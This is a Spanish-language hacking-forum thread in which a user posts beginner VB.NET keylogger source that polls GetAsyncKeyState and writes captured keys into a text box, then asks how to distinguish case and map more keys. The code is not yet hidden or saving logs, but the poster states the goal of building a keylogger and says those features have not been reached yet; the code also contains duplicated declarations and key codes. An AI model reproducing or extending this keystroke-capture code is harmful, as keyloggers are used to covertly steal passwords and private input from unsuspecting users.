elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Tutorial básico de Quickjs


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  .NET (C#, VB.NET, ASP)
| | | |-+  Programación Visual Basic (Moderadores: LeandroA, seba123neo)
| | | | |-+  Keylogger Basico
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Keylogger Basico  (Leído 2,300 veces)
MarkiiAk

Desconectado Desconectado

Mensajes: 3


Ver Perfil
Keylogger Basico
« en: 20 Mayo 2013, 21:07 pm »

Que tal tengo un Keylogger aun muy rudimentario. Lo acabo de empezar hace apenas 1 hora.
Código:
Public Class Form1
    Dim result As Integer
    Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
    Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Integer) As Integer

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

    End Sub

    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        Dim i As Integer
        For i = 1 To 255
            result = 0
            result = GetAsyncKeyState(i)
            If result = -32767 Then
                TextBox1.Text = TextBox1.Text + Chr(i)
            End If
            If GetAsyncKeyState(32) = -32767 Then
                TextBox1.Text = TextBox1.Text + " "
            End If
            'Enter
            If GetAsyncKeyState(13) = -32767 Then
                TextBox1.Text = TextBox1.Text & vbCrLf & "[Enter] "
            End If
            'Esc
            If GetAsyncKeyState(27) = -32767 Then
                TextBox1.Text = TextBox1.Text & " [Esc] "
            End If
            'Izquierda
            If GetAsyncKeyState(37) = -32767 Then
                TextBox1.Text = TextBox1.Text & " [Izq] "
            End If
            'Arriba
            If GetAsyncKeyState(38) = -32767 Then
                TextBox1.Text = TextBox1.Text & " [Arriba] "
            End If
            'Derecha
            If GetAsyncKeyState(39) = -32767 Then
                TextBox1.Text = TextBox1.Text & " [Der] "
            End If
            'Abajo
            If GetAsyncKeyState(40) = -32767 Then
                TextBox1.Text = TextBox1.Text & " [Abajo] "
            End If
            'Print Screen
            If GetAsyncKeyState(44) = -32767 Then
                TextBox1.Text = TextBox1.Text & " [Print Screen] "
            End If
            'Re Pag
            If GetAsyncKeyState(33) = -32767 Then
                TextBox1.Text = TextBox1.Text & " [Re Pag] "
            End If
            'Av Pag
            If GetAsyncKeyState(34) = -32767 Then
                TextBox1.Text = TextBox1.Text & " [Av Pag] "
            End If
            'Fin Pag
            If GetAsyncKeyState(35) = -32767 Then
                TextBox1.Text = TextBox1.Text & " [Fin Pag] "
            End If
            'Inicio Pag
            If GetAsyncKeyState(36) = -32767 Then
                TextBox1.Text = TextBox1.Text & " [Inicio Pag] "
            End If
            'Supr
            If GetAsyncKeyState(46) = -32767 Then
                TextBox1.Text = TextBox1.Text & " [Supr] "
            End If
            'Insert
            If GetAsyncKeyState(45) = -32767 Then
                TextBox1.Text = TextBox1.Text & " [Insert] "
            End If
            'F1
            If GetAsyncKeyState(112) = -32767 Then
                TextBox1.Text = TextBox1.Text & " [F1] "
            End If
            'F2
            If GetAsyncKeyState(113) = -32767 Then
                TextBox1.Text = TextBox1.Text & " [F2] "
            End If
            'F3
            If GetAsyncKeyState(114) = -32767 Then
                TextBox1.Text = TextBox1.Text & " [F3] "
            End If
            'F4
            If GetAsyncKeyState(115) = -32767 Then
                TextBox1.Text = TextBox1.Text & " [F4] "
            End If
            'F5
            If GetAsyncKeyState(116) = -32767 Then
                TextBox1.Text = TextBox1.Text & " [F5] "
            End If
            'F6
            If GetAsyncKeyState(117) = -32767 Then
                TextBox1.Text = TextBox1.Text & " [F6] "
            End If
            'F7
            If GetAsyncKeyState(118) = -32767 Then
                TextBox1.Text = TextBox1.Text & " [F7] "
            End If
            'F8
            If GetAsyncKeyState(119) = -32767 Then
                TextBox1.Text = TextBox1.Text & " [F8] "
            End If
            'F9
            If GetAsyncKeyState(120) = -32767 Then
                TextBox1.Text = TextBox1.Text & " [F9] "
            End If
            'F10
            If GetAsyncKeyState(121) = -32767 Then
                TextBox1.Text = TextBox1.Text & " [F10] "
            End If
            'F11
            If GetAsyncKeyState(122) = -32767 Then
                TextBox1.Text = TextBox1.Text & " [F11] "
            End If
            'F12
            If GetAsyncKeyState(123) = -32767 Then
                TextBox1.Text = TextBox1.Text & " [F12] "
            End If
            'Alt
            If GetAsyncKeyState(164) = -32767 Then
                TextBox1.Text = TextBox1.Text & " [Alt] "
            End If
            'Num Lock
            If GetAsyncKeyState(144) = -32767 Then
                TextBox1.Text = TextBox1.Text & " [Num Lock] "
            End If
            'Bloq mayús
            If GetAsyncKeyState(20) = -32767 Then
                TextBox1.Text = TextBox1.Text & " [Bloq Mayús] "
            End If
            'ñ
            If GetAsyncKeyState(164) = -32767 Then
                TextBox1.Text = TextBox1.Text & "ñ"
            End If
            'Ñ
            If GetAsyncKeyState(240) = -32767 Then
                TextBox1.Text = TextBox1.Text & "Ñ"
            End If
            '"."
            If GetAsyncKeyState(190) = -32767 Then
                TextBox1.Text = TextBox1.Text & "."
            End If
            '","
            If GetAsyncKeyState(188) = -32767 Then
                TextBox1.Text = TextBox1.Text & ","
            End If
            '"Alt Gr"
            If GetAsyncKeyState(165) = -32767 Then
                TextBox1.Text = TextBox1.Text & " [Alt Gr] "
            End If
            '"Del"
            If GetAsyncKeyState(8) = -32767 Then
                TextBox1.Text = TextBox1.Text & " [Del] "
            End If
            '"Tab"
            If GetAsyncKeyState(9) = -32767 Then
                TextBox1.Text = TextBox1.Text & " [Tab] "
            End If
        Next i
    End Sub
End Class

De momento no esta oculto ni se autoguarda ni nada, de momento no he llegado a eso.
El problema es que todo me lo captura en mayúsculas aun sean minúsculas, estoy programando en Visual Basic 2005
Como hago para que no me muestre puras mayusculas y me haga la distincion correcta.

Tambien si tendran un listado completo de:

If GetAsyncKeyState(39) = -32767 Then
                TextBox1.Text = TextBox1.Text & " [Der] "

Por que por ejemplo aun no puedo distinguir puntos ni shift ni los numeros del bloque numerico ni varios caracteres.

Saludos y muchas gracias.



En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Hacking Basico!! « 1 2 »
Tutoriales - Documentación
HaCkZaTaN 14 38,289 Último mensaje 6 Junio 2008, 21:53 pm
por :ohk<any>
lo basico de VB
Programación Visual Basic
mc___nik05 4 2,602 Último mensaje 21 Mayo 2005, 06:47 am
por BADBYTE-K
[VB6] Creando un keylogger basico by SharkI « 1 2 »
Programación Visual Basic
illuminat3d 15 23,276 Último mensaje 4 Julio 2011, 20:08 pm
por raul338
algo basico super basico pero que no me sale
Programación C/C++
Freelancer 6 4,213 Último mensaje 22 Septiembre 2011, 03:25 am
por Freelancer
usb keylogger, o keylogger desde modo seguro.
Seguridad
minerif 0 3,184 Último mensaje 24 Marzo 2013, 23:20 pm
por minerif
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines